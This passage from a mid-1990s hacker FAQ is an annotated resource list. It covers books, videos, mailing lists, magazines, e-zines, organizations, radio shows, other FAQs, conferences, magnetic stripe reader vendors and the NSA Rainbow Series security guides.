Security Secrets Author: David J. Stang and Sylvia Moon Publisher: IDG Books Copyright Date: 1993 ISBN: 1-56884-021-7 Not a total waste of paper, but definitely not worth the $49.95 purchase price. The book is a rehash of previously published information. The only secret we learn from reading the book is that Sylvia Moon is a younger woman madly in love with the older David Stang. Complete Lan Security and Control Author: Peter Davis Publisher: Windcrest / McGraw Hill Copyright Date: 1994 ISBN: 0-8306-4548-9 and 0-8306-4549-7 Network Security Author: Steven Shaffer and Alan Simon Publisher: AP Professional Copyright Date: 1994 ISBN: 0-12-638010-4 Network Security: How to Plan For It and How to Achieve It Author: Richard M. Baker Publisher: McGraw-Hill, Inc. Copyright Date: ISBN: 0-07-005141-0 Network Security Author: Steven L. Shaffer and Alan R. Simon Publisher: Academic Press Copyright Date: 1994 ISBN: 0-12-638010-4 Network Security: Private Communications in a Public World Author: Charlie Kaufman, Radia Perlman and Mike Speciner Publisher: Prentice Hall Copyright Date: 1995 ISBN: 0-13-061466-1 Network and Internetwork Security: Principles and Practice Author: William Stallings Publisher: Prentice Hall Copyright Date: 1995 ISBN: 0-02-415483-0 Implementing Internet Security Author: William Stallings Publisher: New Rider Publishing Copyright Date: 1995 ISBN: 1-56205-471-6 Actually Useful Internet Security Techniques Author: Larry J. Hughes, Jr. Publisher: New Riders Publishing Copyright Date: 1995 ISBN: 1-56205-508-9 Cryptology ~~~~~~~~~~~~ Applied Cryptography: Protocols, Algorithms, and Source Code in C Author: Bruce Schneier Publisher: John Wiley & Sons Copyright Date: 1994 ISBN: 0-471-59756-2 Bruce Schneier's book replaces all other texts on cryptography. If you are interested in cryptography, this is a must read. This may be the first and last book on cryptography you may ever need to buy. Cryptography and Data Security Author: Dorothy Denning Publisher: Addison-Wesley Publishing Co. Copyright Date: 1982 ISBN: 0-201-10150-5 Protect Your Privacy: A Guide for PGP Users Author: William Stallings Publisher: Prentice-Hall Copyright Date: 1994 ISBN: 0-13-185596-4 Codebreakers Author: Kahn Publisher: Simon and Schuster Copyright Date: ISBN:0-02-560460-0 Codebreakers: The Inside Story of Bletchley Park Author: Francis Harry Hinsley and Alan Stripp Publisher: Oxford University Press, Copyright Date: 1993 ISBN:0-19-285304-X Cryptanalysis, a study of ciphers and their solution Author: Gaines, Helen Fouche Publisher: Dover Publications Copyright Date: 1956 ISBN: Computer Privacy Handbook Author: Andre' Bacard Publisher: Peachpit Press Copyright Date: 1995 ISBN: 1-56609-171-3 E-Mail Security with PGP and PEM Author: Bruce Schneier Publisher: John Wiley & Sons Copyright Date: 1995 ISBN: 0-471-05318-X PGP: Pretty Good Privacy Author: Simson Garfinkel Publisher: O'Reilly & Associates, Inc. Copyright Date: 1995 ISBN: 1-56592-098-8 Programmed Threats ~~~~~~~~~~~~~~~~~~ The Little Black Book of Computer Viruses Author: Mark Ludwig Publisher: American Eagle Publications Copyright Date: 1990 ISBN: 0-929408-02-0 The Giant Black Book of Computer Viruses Author: Mark Ludwig Publisher: American Eagle Publications Copyright Date: 1995 ISBN: Computer Viruses, Artificial Life and Evolution Author: Mark Ludwig Publisher: American Eagle Publications Copyright Date: 1993 ISBN: 0-929408-07-1 Computer Viruses, Worms, Data Diddlers, Killer Programs, and Other Threats to Your System Author: John McAfee and Colin Haynes Publisher: St. Martin's Press Copyright Date: 1989 ISBN: 0-312-03064-9 and 0-312-02889-X The Virus Creation Labs: A Journey Into the Underground Author: George Smith Publisher: American Eagle Publications Copyright Date: 1994 ISBN: 0-929408-09-8 A Short Course on Computer Viruses Author: Dr. Fred Cohen Publisher: John Wiley & Sons Copyright Date: 1994 ISBN: 0-471-00769-2 Robert Slade's Guide to Computer Viruses Author: Robert Slade Publisher: Springer-Verlag Copyright Date: 1994 ISBN: 0-387-94311-0 / 3-540-94311-0 Telephony ~~~~~~~~~ Engineering and Operations in the Bell System Author: R.F. Rey Publisher: Bell Telephont Laboratories Copyright Date: 1983 ISBN: 0-932764-04-5 Although hopelessly out of date, this book remains *THE* book on telephony. This book is 100% Bell, and is loved by phreaks the world over. Telephony: Today and Tomorrow Author: Dimitris N. Chorafas Publisher: Prentice-Hall Copyright Date: 1984 ISBN: 0-13-902700-9 The Telecommunications Fact Book and Illustrated Dictionary Author: Ahmed S. Khan Publisher: Delmar Publishers, Inc. Copyright Date: 1992 ISBN: 0-8273-4615-8 I find this dictionary to be an excellent reference book on telephony, and I recommend it to anyone with serious intentions in the field. Tandy/Radio Shack Cellular Hardware Author: Judas Gerard and Damien Thorn Publisher: Phoenix Rising Communications Copyright Date: 1994 ISBN: The Phone Book Author: Carl Oppendahl Publisher: Consumer Reports Copyright Date: ISBN: 0-89043-364-x Listing of every cellular ID in the us, plus roaming ports, and info numbers for each carrier. Principles of Caller I.D. Author: Publisher: International MicroPower Corp. Copyright Date: ISBN: Hacking History and Culture ~~~~~~~~~~~~~~~~~~~~~~~~~~~ The Hacker Crackdown: Law and Disorder on the Electronic Frontier Author: Bruce Sterling Publisher: Bantam Books Copyright Date: 1982 ISBN: 0-553-56370-X Bruce Sterling has recently released the book FREE to the net. The book is much easier to read in print form, and the paperback is only $5.99. Either way you read it, you will be glad you did. Mr. Sterling is an excellent science fiction author and has brought his talent with words to bear on the hacking culture. A very enjoyable reading experience. Hackers: Heroes of the Computer Revolution Author: Steven Levy Publisher: Doubleday Copyright Date: 1984 ISBN: 0-440-13495-6 Cyberpunk Author: Katie Hafner and John Markoff Publisher: Simon and Schuster Copyright Date: 1991 ISBN: 0-671-77879-X The Cuckoo's Egg Author: Cliff Stoll Publisher: Simon and Schuster Copyright Date: 1989 ISBN: 0-671-72688-9 N Masters of Deception Author: Quittner, John Publisher: HarperCollins Publishers, Incorporated, New York, NY ISBN: 0-06-017030-1 Unclassified ~~~~~~~~~~~~ The Hacker's Handbook Author: Hugo Cornwall Publisher: E. Arthur Brown Company Copyright Date: ISBN: 0-912579-06-4 Secrets of a Super Hacker Author: The Knightmare Publisher: Loompanics Copyright Date: 1994 ISBN: 1-55950-106-5 The Knightmare is no super hacker. There is little or no real information in this book. The Knightmare gives useful advice like telling you not to dress up before going trashing. The Knightmare's best hack is fooling Loompanics into publishing this garbage. The Day The Phones Stopped Author: Leonard Lee Publisher: Primus / Donald I Fine, Inc. Copyright Date: 1992 ISBN: 1-55611-286-6 Total garbage. Paranoid delusions of a lunatic. Less factual data that an average issue of the Enquirer. Information Warfare Author: Winn Swartau Publisher: Thunder Mountain Press Copyright Date: 1994 ISBN: 1-56025-080-1 An Illustrated Guide to the Techniques and Equipment of Electronic Warfare Author: Doug Richardson Publisher: Salamander Press Copyright Date: ISBN: 0-668-06497-8 --------------------------------------------------------------------------- E-10. What are some videos of interest to hackers? 'Unauthorized Access' by Annaliza Savage $25 on VH S format in 38-min Savage Productions 1803 Mission St., #406 Santa Cruz, CA 95060 Hacker's '95 - a Phon-E & R.F. Burns Production See the video Emmanuel Goldstein thought would have the Feds knocking at his door. Coverage of Summercon'95 Coverage of Defcon III The big Y fiasco at Summercon. PMF (narc) interviews Emmanuel Goldstein & Eric BloodAxe. Trip to Area 51 and interview with Psyhospy Coverage of the Secret Service briefing on Operation Cyber Snare (recent cell busts) Talks on Crypto, HERF, the Feds, etc. All information is presented for educational purposes only. Not for sale to government or law enforcement organizations. Running time aproximately 90 minutes. $34.95 ($29.95 if ordered via the WWW page) Custom Video Productions (908)842-6378 videocvp@ix.netcom.com For more infomation: http://www.rockpile.com/~security/hackervid.html --------------------------------------------------------------------------- E-11. What are some mailing lists of interest to hackers? Academic Firewalls Registration Address: Send a message to majordomo@greatcircle.com containing the line "subscribe firewalls user@host" The Alert Registration Address: Send a message to request-alert@iss.net containing the line "subscribe alert" Bugtraq Reflector Address: bugtraq@fc.net Registration Address: bugtraq-request@fc.net Cert Tools Reflector Address: cert-tools@cert.org Registration Address: cert-tools-request@cert.org Computers and Society Reflector Address: Comp-Soc@limbo.intuitive.com Registration Address: taylor@limbo.intuitive.com Coordinated Feasibility Effort to Unravel State Data Reflector Address: ldc-sw@cpsr.org Registration Address: CPSR Announcement List Reflector Address: cpsr-announce@cpsr.org Registration Address: CPSR - Intellectual Property Reflector Address: cpsr-int-prop@cpsr.org Registration Address: CPSR - Internet Library Reflector Address: cpsr-library@cpsr.org Registration Address: Cypherpunks Registration Address: Send a message to majordomo@toad.com containing the line "subscribe cypherpunks" [Note from Ultraman: Your description for subscribing to the cypherpunks list is incorrect. The list is named 'cypherpunks-unedited'. H.] DefCon Announcement List Registration Address: Send a message to majordomo@fc.net containing the line "subscribe dc-announce" DefCon Chat List Registration Address: Send a message to majordomo@fc.net containing the line "subscribe dc-stuff" Discount Long Distance Digest Registration Address: Send a message to: dld-request@webcom.com containing the line "subscribe" Electronic Payment Registration Address: e-payment@cc.bellcore.com IDS (Intruder Detection Systems) Registration Address: Send a message to majordomo@wyrm.cc.uow.edu.au containing the line "subscribe ids" Information Warfare Registration Address: E-mail iw@all.net with a request to be added. Linux-Alert Registration Address: majordomo@linux.nrao.edu Linux-Security Registration Address: majordomo@linux.nrao.edu Macintosh Security Reflector Address: mac-security@eclectic.com Registration Address: mac-security-request@eclectic.com N NetWare Security Registration Address: Send a message to majordomo@dey-systems.com containing the line "subscribe netware-hack" NeXT Managers Registration Address: next-managers-request@stolaf.edu PGP3 announcement list Registration Address: pgp-announce-request@lsd.com Subject: Your Name Body: *ignored* Phiber-Scream Registration Address: Send a message to listserv@netcom.com containing the line "subscribe phiber-scream user@host" phruwt-l (Macintosh H/P) Registration Address: Send a message to filbert@netcom.com with the subject "phruwt-l" rfc931-users Reflector Address: >rfc931-users@kramden.acf.nyu.edu Registration Address: brnstnd@nyu.edu RSA Users Reflector Address: rsaref-users@rsa.com Registration Address: rsaref-users-request@rsa.com WWW Security Registration Address: www-security@ns2.rutgers.edu --------------------------------------------------------------------------- E-12. What are some print magazines of interest to hackers? 2600 - The Hacker Quarterly ~~~~~~~~~~~~~~~~~~~~~~~~~~~ E-mail addresses: info@2600.com - to get info on 2600 index@2600.com - to get a copy of our index meetings@2600.com - for info on starting your own meeting subs@2600.com -- for subscription problems letters@2600.com -- to send us a letter articles@2600.com -- to send us an article 2600@2600.com -- to send us a general message Subscription Address: 2600 Subscription Dept PO Box 752 Middle Island, NY 11953-0752 Letters and article submission address: 2600 Editorial Dept PO Box 99 Middle Island, NY 11953-0099 Phone Number: (516)751-2600 Fax Number: (516)474-2677 Voice BBS: (516)473-2626 Subscriptions: United States: $21/yr individual, $50 corporate. Overseas: $30/yr individual, $65 corporate. Gray Areas ~~~~~~~~~~ Gray Areas examines gray areas of law and morality and subject matter which is illegal, immoral and/or controversial. Gray Areas explores why hackers hack and puts hacking into a sociological framework of deviant behavior. E-Mail Address: grayarea@well.sf.ca.us E-Mail Address: grayarea@netaxs.com U.S. Mail Address: Gray Areas PO Box 808 Broomall, PA 19008 Subscriptions: $26.00 4 issues first class $34.00 4 issues foreign (shipped air mail) Privacy Newsletter ~~~~~~~~~~~~~~~~~~ Privacy Newsletter is a monthly newsletter devoted to showing consumers how to get privacy and keep it. E-Mail Address: privacy@interramp.com Subscription Address: Privacy Newsletter P.O. Box 8206 Philadelphia, PA 19101-8206 Subscriptions: $99/yr (US) $149/yr (Overseas) Wired ~~~~~ Subscription Address: subscriptions@wired.com or: Wired PO Box 191826 San Francisco, CA 94119-9866 Letters and article submission address: guidelines@wired.com or: Wired 544 Second Street San Francisco, CA 94107-1427 Subscriptions: $39/yr (US) $64/yr (Canada/Mexico) $79/yr (Overseas) Nuts & Volts ~~~~~~~~~~~~ T& L Publications 430 Princeland Court Corona, CA 91719 (800)783-4624 (Voice) (Subscription Only Order Line) (909)371-8497 (Voice) (909)371-3052 (Fax) CIS: 74262,3664 Cybertek: The Cyberpunk Technical Journal ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ P.O. Box 64 Brewster, NY 10509 Frequency: Bimonthly Domestic Subscription Rate: $15/year (6 issues) PrivateLine ~~~~~~~~~~~ 5150 Fair Oaks Blvd. #101-348 Carmichael, CA 95608 USA E-Mail: privateline@delphi.com Subscriptions: $24 a year for six issues Text of back issues are at the etext archive at Michigan. Gopher over or ftp to: etext.archive.umich.edu/pub/Zines/PrivateLine --------------------------------------------------------------------------- E-13. What are some e-zines of interest to hackers? CoTNo: Communications of The New Order ftp.etext.org /pub/Zines/CoTNo Empire Times ftp.etext.org /pub/Zines/Emptimes FEH ftp.fc.net /pub/defcon/FEH The Infinity Concept infonexus.com /pub/Philes/Zines/TheInfinityConcept Phrack ftp.fc.net /pub/phrack --------------------------------------------------------------------------- E-14. What are some organizations of interest to hackers? Computer Professionals for Social Responsibility (CPSR) ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ CPSR empowers computer professionals and computer users to advocate for the responsible use of information technology and empowers all who use computer technology to participate in the public debate. As technical experts, CPSR members provide the public and policy makers with realistic assessments of the power, promise, and limitations of computer technology. As an organization of concerned citizens, CPSR directs public attention to critical choices concerning the applications of computing and how those choices affect society. By matching unimpeachable technical information with policy development savvy, CPSR uses minimum dollars to have maximum impact and encourages broad public participation in the shaping of technology policy. Every project we undertake is based on five principles: * We foster and support public discussion of and public responsibility for decisions involving the use of computers in systems critical to society. * We work to dispel popular myths about the infallibility of technological systems. * We challenge the assumption that technology alone can solve political and social problems. * We critically examine social and technical issues within the computer profession, nationally and internationally. * We encourage the use of computer technology to improve the quality of life. CPSR Membership Categories 75 REGULAR MEMBER 50 Basic member 200 Supporting member 500 Sponsoring member 1000 Lifetime member 20 Student/low income member 50 Foreign subscriber 50 Library/institutional subscriber CPSR National Office P.O. Box 717 Palo Alto, CA 94301 415-322-3778 415-322-3798 (FAX) E-mail: cpsr@csli.stanford.edu Electronic Frontier Foundation (EFF) ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ The Electronic Frontier Foundation (EFF) is dedicated to the pursuit of policies and activities that will advance freedom and openness in computer-based communications. It is a member-supported, nonprofit group that grew from the conviction that a new public interest organization was needed in the information age; that this organization would enhance and protect the democratic potential of new computer communications technology. From the beginning, the EFF determined to become an organization that would combine technical, legal, and public policy expertise, and would apply these skills to the myriad issues and concerns that arise whenever a new communications medium is born. Memberships are $20.00 per year for students, $40.00 per year for regular members, and $100.00 per year for organizations. The Electronic Frontier Foundation, Inc. 1001 G Street, NW Suite 950 East Washington, D.C. 20001 (202)544 9237 (202)547 5481 FAX Internet: eff@eff.org Free Software Foundation (FSF) and GNU ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ The Free Software Foundation is dedicated to eliminating restrictions on people's right to use, copy, modify, and redistribute computer programs. We promote the development and use of free software in all areas using computers. Specifically, we are putting together a complete, integrated software system named "GNU" ("GNU's Not Unix", pronounced "guh-new") that will be upwardly compatible with Unix. Most parts of this system are already being used and distributed. The word "free" in our name refers to freedom, not price. You may or may not pay money to get GNU software, but regardless you have two specific freedoms once you get it: first, the freedom to copy a program and give it away to your friends and co-workers; and second, the freedom to change a program as you wish, by having full access to source code. You can study the source and learn how such programs are written. You may then be able to port it, improve it, and share your changes with others. If you redistribute GNU software you may charge a distribution fee or give it away, so long as you include the source code and the GPL (GNU General Public License). Free Software Foundation, Inc. Telephone: +1-617-876-3296 673 Massachusetts Avenue Fax: +1-617-492-9057 Cambridge, MA 02139-3309 USA Fax (in Japan): 0031-13-2473 (KDD) Electronic mail: gnu@prep.ai.mit.edu 0066-3382-0158 (IDC) GNU is to be a complete integrated computational environment: everything you need to work with a computer, either as a programmer or as a person in an office or home. The core is an operating system, which consists of a central program called a kernel that runs the other programs on the computer, and a large number of ancillary programs for handling files, etc. The Free Software Foundation is developing an advanced kernel called the Hurd. A complete system has tools for programmers, such as compilers and debuggers. It also has editors, sketchpads, calendars, calculators, spreadsheets, databases, electronic mail readers, and Internet navigators. The FSF already distributes most of the programs used in an operating system, all the tools regularly used by programmers, and much more. The League for Programming Freedom (LPF) ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ The League for Programming Freedom is an organization of people who oppose the attempt to monopolize common user interfaces through "look and feel" copyright lawsuits. Some of us are programmers, who worry that such monopolies will obstruct our work. Some of us are users, who want new computer systems to be compatible with the interfaces we know. Some are founders of hardware or software companies, such as Richard P. Gabriel. Some of us are professors or researchers, including John McCarthy, Marvin Minsky, Guy L. Steele, Jr., Robert S. Boyer and Patrick Winston. "Look and feel" lawsuits aim to create a new class of government- enforced monopolies broader in scope than ever before. Such a system of user-interface copyright would impose gratuitous incompatibility, reduce competition, and stifle innovation. We in the League hope to prevent these problems by preventing user-interface copyright. The League is NOT opposed to copyright law as it was understood until 1986 -- copyright on particular programs. Our aim is to stop changes in the copyright system which would take away programmers' traditional freedom to write new programs compatible with existing programs and practices. Annual dues for individual members are $42 for employed professionals, $10.50 for students, and $21 for others. We appreciate activists, but members who cannot contribute their time are also welcome. To contact the League, phone (617) 243-4091, send Internet mail to the address league@prep.ai.mit.edu, or write to: League for Programming Freedom 1 Kendall Square #143 P.O. Box 9171 Cambridge, MA 02139 USA SotMesc ~~~~~~~ Founded in 1989, SotMesc is dedicated to preserving the integrity and cohesion of the computing society. By promoting computer education, liberties and efficiency, we believe we can secure freedoms for all computer users while retaining privacy. SotMesc maintains the CSP Internet mailing list, the SotMesc Scholarship Fund, and the SotMesc Newsletter. The SotMESC is financed partly by membership fees, and donations, but mostly by selling hacking, cracking, phreaking, electronics, internet, and virus information and programs on disk and bound paper media. SotMesc memberships are $20 to students and $40 to regular members. SotMESC P.O. Box 573 Long Beach, MS 39560 Computer Emergency Response Team (CERT ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ CERT is the Computer Emergency Response Team that was formed by the Defense Advanced Research Projects Agency (DARPA) in November 1988 in response to the needs exhibited during the Internet worm incident. The CERT charter is to work with the Internet community to facilitate its response to computer security events involving Internet hosts, to take proactive steps to raise the community's awareness of computer security issues, and to conduct research targeted at improving the security of existing systems. CERT products and services include 24-hour technical assistance for responding to computer security incidents, product vulnerability assistance, technical documents, and seminars. In addition, the team maintains a number of mailing lists (including one for CERT advisories) and provides an anonymous FTP server: cert.org (192.88.209.5), where security-related documents, past CERT advisories, and tools are archived. CERT contact information: U.S. mail address CERT Coordination Center Software Engineering Institute Carnegie Mellon University Pittsburgh, PA 15213-3890 U.S.A. Internet E-mail address cert@cert.org Telephone number (412)268-7090 (24-hour hotline) CERT Coordination Center personnel answer 7:30 a.m.- 6:00 p.m. EST(GMT-5)/EDT(GMT-4), on call for emergencies during other hours. FAX number (412)268-6989 --------------------------------------------------------------------------- E-15. What are some radio programs of interest to hackers? Off The Hook New York 99.5 FM Tue 8pm EST Full Disclosure Live Short Wave WWCR 5065 khz Sun 8pm EST Full Disclosure Live Oil City, PA WOYL AM-1340 Sun 8pm EST Full Disclosure Live Satellite Telstar 302 (T2), Ch 21, 5.8 Sun 8pm EST --------------------------------------------------------------------------- E-16. What are other FAQ's of interest to hackers? The Unofficial Netware Hack FAQ Author: Simple Nomad http://nmrc.org/faqs/netware/index.html The Unofficial NT Hack FAQ Author: Simple Nomad http://nmrc.org/faqs/nt/index.html The Unofficial Web Hack FAQ Author: Simple Nomad http://nmrc.org/faqs/www/index.html The PGP Attack FAQ Author: Route [daemon9@netcom.com / route@infonexus.com] ftp://infonexus.com /pub/Philes/Cryptography/PGPattackFAQ.txt.gz The UK Phone Phreaking F.A.Q. Author: Pyro Teknik http://www.crossbar.demon.co.uk/ukphreak.txt alt.ph.uk FAQ Author: phuk@madrab.demon.co.uk http://207.49.108.197/moonwalk/rapture/phukfaq.htm Mac Hack FAQ: Defeating Security Author: AX1P (an149689@anon.penet.fi) Frequently Asked Questions About Red Boxing Author: Mr. Sandman (an132432@anon.penet.fi) VMS FAQ (Frequently Ask Questions) Author: The Beaver (beaver@upperdck.blkbox.com) Anonymous FTP FAQ Author: Christopher Klaus of Internet Security Systems, Inc. ftp://ftp.iss.net /pub/faq/anonftp Compromise FAQ: What if your Machines are Compromised by an Intruder Author: Christopher Klaus of Internet Security Systems, Inc. ftp://ftp.iss.net /pub/faq/compromise Security Patches FAQ Author: Christopher Klaus of Internet Security Systems, Inc. ftpa//: ftp.iss.net /pub/faq/patch Sniffer FAQ Author: Christopher Klaus of Internet Security Systems, Inc. ftp://ftp.iss.net /pub/faq/sniff Vendor Security Contacts: Reporting Vulnerabilities and Obtaining New Patches Author: Christopher Klaus of Internet Security Systems, Inc. ftp://ftp.iss.net /pub/faq/vendor Cryptography FAQ Author: The Crypt Cabal ftp://rtfm.mit.edu /pub/usenet-by-group/sci.crypt/ Firewalls FAQ Author: Marcus J. Ranum (mjr@ss1.lightspeed.net) ftp://rtfm.mit.edu /pub/usenet-by-group/comp.security.misc/ Buying a Used Scanner Radio Author: parnass@att.com (Bob Parnass, AJ9S) ftp://rtfm.mit.edu /pub/usenet-by-group/rec.radio.scanner/ How to Find Scanner Frequencies Author: parnass@att.com (Bob Parnass, AJ9S) ftp://rtfm.mit.edu /pub/usenet-by-group/rec.radio.scanner/ Introduction to Scanning Author: parnass@att.com (Bob Parnass, AJ9S) ftp://rtfm.mit.edu /pub/usenet-by-group/rec.radio.scanner/ Low Power Broadcasting FAQ Author: Rick Harrison. ftp://rtfm.mit.edu /pub/usenet-by-group/alt.radio.pirate/ RSA Cryptography Today FAQ Author: Paul Fahn ftp://rtfm.mit.edu /pub/usenet-by-group/sci.crypt/ VIRUS-L comp.virus Frequently Asked Questions (FAQ) Author: Kenneth R. van Wyk ftp://rtfm.mit.edu /pub/usenet-by-group/comp.virus/ Where to get the latest PGP (Pretty Good Privacy) FAQ Author: mpj@csn.net (Michael Johnson) ftp://rtfm.mit.edu /pub/usenet-by-group/alt.security.pgp/ alt.locksmithing answers to Frequently Asked Questions (FAQ) Author: spike@indra.com (Joe Ilacqua) ftp://rtfm.mit.edu /pub/usenet-by-group/alt.locksmithing/ comp.os.netware.security FAQ Author: Fauzan Mirza ftp://rtfm.mit.edu /pub/usenet-by-group/comp.os.netware.security/ rec.pyrotechnics FAQ Author: zoz@cs.adelaide.edu.au (Hans Josef Wagemueller) ftp://rtfm.mit.edu /pub/usenet-by-group/rec.pyrotechnics/ --------------------------------------------------------------------------- E-17. What are some conferences of interest to hackers? Every year a hacker convention disappears and two new ones crop up in it's place. Two that are definitely upcoming are: CuervoCon every Winter in Texas http://www.cuervocon.org DefCon every Summer in Las Vegas http://www.defcon.org For more information, keep your eyes on the web. --------------------------------------------------------------------------- E-18. What are some telephone numbers of interest to hackers? The DefCon Voice Bridge (801)855-3326 --------------------------------------------------------------------------- E-19. Where can I purchase a magnetic stripe reader/writer? Mag-Tek http://www.magtek.com 20725 S. Annalee Avenue Carson, CA 90746 (310)631-8602 (Voice) (310)631-3956 (Fax) Track Write Interface Model Price --------------------------------------------------- 2 No Keyboard/RS-232 1,2 No Keyboard/RS-232 2,3 No Keyboard/RS-232 1,2,3 No RS-232 1,2,3 Yes Standalone/RS-232 American Microsystems http://www.amis.com 2190 Regal Parkway Euless, TX 76040 (800)648-4452 (Voice) (817)685-6232 (Fax) Track Write Interface Model Price --------------------------------------------------- 2 No $250 CPU Advance PO Box 2434 Harwood Station Littleton, MA 01460 (508)624-4819 (Fax) Track Write Interface Model Price --------------------------------------------------- 1,2 Yes C1523 $389 2,3 Yes C1534 $389 Herback and Rademan http://www.herbach.com 18 Canal Street P.O. Box 122 Bristol, PA 19007-0122 (215)788-5583 (Voice) (215)788-9577 (Fax) Track Write Interface Model Price --------------------------------------------------- 2 No TM92CMP1966 $15 Neuron Electronics http://www.neuron-usa.com 3848 Del Amo Boulevard Suite #301 Torrance, CA 90503 (310)793-1300 (Voice) (310)793-1304 (Fax) Track Write Interface Model Price --------------------------------------------------- 2 Yes MCR 231-2A Omron Electronics, Inc. http://www.omron.com One East Commerce Drive Schaumburg, IL 60173 (800)556-6766 (Voice) (708)843-7787 (Fax) Security Photo Corporation 1051 Commonwealth Avenue Boston, MA 02215 (800)533-1162 (Voice) (617)783-3200 (Voice) (617)783-1966 (Voice) Timeline Inc, http://www.digisys.net/timeline/ 23605 Telo Avenue Torrence, CA 90505 (800)872-8878 (Voice) (800)223-9977 (Voice) Alltronics http://www.alltronics.com 2300 Zanker Road San Jose, CA 95131 (408) 943-9774 Voice (408) 943-9776 Fax (408) 943-0622 BBS Part Number: 92U067 Atalla Corp, a division of Tandem Computers Incorporated http://www.atalla.com 2304 Zanker Road San Jose, CA 95131 (800)523-9981 (Voice) (408)435-8850 (Voice) (408)435-1116 (Fax) --------------------------------------------------------------------------- E-20. What are the rainbow books and how can I get them? Orange Book DoD 5200.28-STD Department of Defense Trusted Computer System Evaluation Criteria. Green Book CSC-STD-002-85 Department of Defense Password Management Guideline. Yellow Book CSC-STD-003-85 Computer Security Requirements -- Guidance for Applying the Department of Defense Trusted Computer System Evaluation Criteria in Specific Environments. Yellow Book CSC-STD-004-85 Technical Rationale Behind CSC-STD-003-85: Computer Security Requirements. Guidance for Applying the Department of Defense Trusted Computer System Evaluation Criteria in Specific Environments. Tan Book NCSC-TG-001 A Guide to Understanding Audit in Trusted Systems. Bright Blue Book NCSC-TG-002 Trusted Product Evaluation - A Guide for Vendors. Neon Orange Book NCSC-TG-003 A Guide to Understanding Discretionary Access Control in Trusted Systems. Teal Green Book NCSC-TG-004 Glossary of Computer Security Terms. Red Book NCSC-TG-005 Trusted Network Interpretation of the Trusted Computer System Evaluation Criteria. Orange Book NCSC-TG-006 A Guide to Understanding Configuration Management in Trusted Systems. Burgundy Book NCSC-TG-007 A Guide to Understanding Design Documentation in Trusted Systems. Dark Lavender Book NCSC-TG-008 A Guide to Understanding Trusted Distribution in Trusted Systems. Venice Blue Book NCSC-TG-009 Computer Security Subsystem Interpretation of the Trusted Computer System Evaluation Criteria. Aqua Book NCSC-TG-010 A Guide to Understanding Security Modeling in Trusted Systems. Dark Red Book NCSC-TG-011 Trusted Network Interpretation Environments Guideline -- Guidance for Applying the Trusted Network Interpretation. Pink Book NCSC-TG-013 Rating Maintenance Phase -- Program Document. Purple Book NCSC-TG-014 Guidelines for Formal Verification Systems. Brown Book NCSC-TG-015 A Guide to Understanding Trusted Facility Management. Yellow-Green Book NCSC-TG-016 Guidelines for Writing Trusted Facility Manuals. Light Blue NCSC-TG-017 A Guide to Understanding Identification and Authentication in Trusted Systems. Light Blue Book NCSC-TG-018 A Guide to Understanding Object Reuse in Trusted Systems. Blue Book NCSC-TG-019 Trusted Product Evaluation Questionnaire. Gray Book NCSC-TG-020-A Trusted Unix Working Group (TRUSIX) Rationale for Selecting Access Control List Features for the Unix System. Lavender Book NCSC-TG-021 Trusted Data Base Management System Interpretation of the Trusted Computer System Evaluation Criteria. Yellow Book NCSC-TG-022 A Guide to Understanding Trusted Recovery in Trusted Systems. Bright Orange Book NCSC-TG-023 A Guide to Understandng Security Testing and Test Documentation in Trusted Systems. Purple Book NCSC-TG-024 (Volume 1/4) A Guide to Procurement of Trusted Systems: An Introduction to Procurement Initiators on Computer Security Requirements. Purple Book NCSC-TG-024 (Volume 2/4) A Guide to Procurement of Trusted Systems: Language for RFP Specifications and Statements of Work - An Aid to Procurement Initiators. Purple Book NCSC-TG-024 (Volume 3/4) A Guide to Procurement of Trusted Systems: Computer Security Contract Data Requirements List and Data Item Description Tutorial. Purple Book NCSC-TG-024 (Volume 4/4) A Guide to Procurement of Trusted Systems: How to Evaluate a Bidder's Proposal Document - An Aid to Procurement Initiators and Contractors. Green Book NCSC-TG-025 A Guide to Understanding Data Remanence in Automated Information Systems. Hot Peach Book NCSC-TG-026 A Guide to Writing the Security Features User's Guide for Trusted Systems. Turquiose Book NCSC-TG-027 A Guide to Understanding Information System Security Officer Responsibilities for Automated Information Systems. Violet Book NCSC-TG-028 Assessing Controlled Access Protection. Blue Book NCSC-TG-029 Introduction to Certification and Accreditation. Light Pink Book NCSC-TG-030 A Guide to Understanding Covert Channel Analysis of Trusted Systems. C1 Technical Report-001 Computer Viruses: Prevention, Detection, and Treatment. C Technical Report 79-91 Integrity in Automated Information Systems. C Technical Report 39-92 The Design and Evaluation of INFOSEC systems: The Computer Security Contributions to the Composition Discussion. C Technical Report 111-91 Integrity-Oriented Control Objectives: Proposed Revisions to the TCSEC, October 1991. NCSC Technical Report 002 Use of the TCSEC for Complex, Evolving, Multipolicy Systems. NCSC Technical Report 003 Turning Multiple Evaluated Products Into Trusted Systems. NCSC Technical Report 004 A Guide to Procurement of Single Connected Systems - Language for RFP Specifications and Statements of Work - An Aid to Procurement Initiators - Includes Complex, Evolving, and Multipolicy Systems. NCSC Technical Report 005 Volume 1/5 Inference and Aggregation Issues In Secure Database Management Systems. NCSC Technical Report 005 Volume 2/5 Entity and Referential Integrity Issues In Multilevel Secure Database Management. NCSC Technical Report 005 Volume 3/5 Polyinstantiation Issues In Multilevel Secure Database Management Systems. NCSC Technical Report 005 Volume 4/5 Auditing Issues In Secure Database Management Systems. NCSC Technical Report 005 Volume 5/5 Discretionary Access Control Issues In High Assurance Secure Database Management Systems. NTISSAM COMPUSEC/1-87 Advisory Memorandum on Office Automation Security Guideline. -- You can get your own free copy of any or all of the books in by writing or calling: INFOSEC Awareness ATTN: V/NISC NATIONAL SECURITY AGENCY 9800 SAVAGE ROAD FT MEADE, MD 20755-6755 NSA/ISSO Service Center (NISC) 1-800-688-6115 ext 0 (410)854-7661 You may request the books in print or you may request a CD-ROM that contains most of the books. You can also get most of the Rainbow books in electronic form at http://www.radium.ncsc.mil/tpep/library/rainbow/index.html If you ask to be put on the mailing list, you'll get a copy of each new book as it comes out. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= 